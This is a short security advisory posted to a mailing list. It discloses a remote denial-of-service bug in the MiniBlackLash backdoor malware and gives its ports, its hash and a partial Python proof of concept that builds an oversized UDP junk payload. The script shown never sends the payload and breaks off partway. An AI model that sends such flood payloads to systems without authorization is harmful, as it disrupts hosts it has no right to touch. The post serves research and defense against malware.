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Date: Thu, 28 Jan 2021 20:48:17 -0500
From: malvuln <>
Subject: [FD] Backdoor.Win32.MiniBlackLash / Remote DoS

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.MiniBlackLash
Vulnerability: Remote DoS
Description: MiniBlackLash listens on both TCP port 6711 and UDP port
60000. Sending a large HTTP request string of junk chars to UDP port
60000 will crash this backdoor.
Type: PE32
MD5: 57dee3430d4531a2699f6520819a2ece
Vuln ID: MVID-2021-0060
Disclosure: 01/28/2021

from socket import *


def doit():
    s=socket(AF_INET, SOCK_DGRAM)
    s.connect((MALWARE_HOST, PORT))

    PBARBAR="A"*10000+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"

    print("Backdoor.Win32.MiniBlackLash / Remote DoS");
    print("MD5: 57dee3430d4531a2699f6520819a2ece");
    print("By Malvuln");

if __name__=="__main__":

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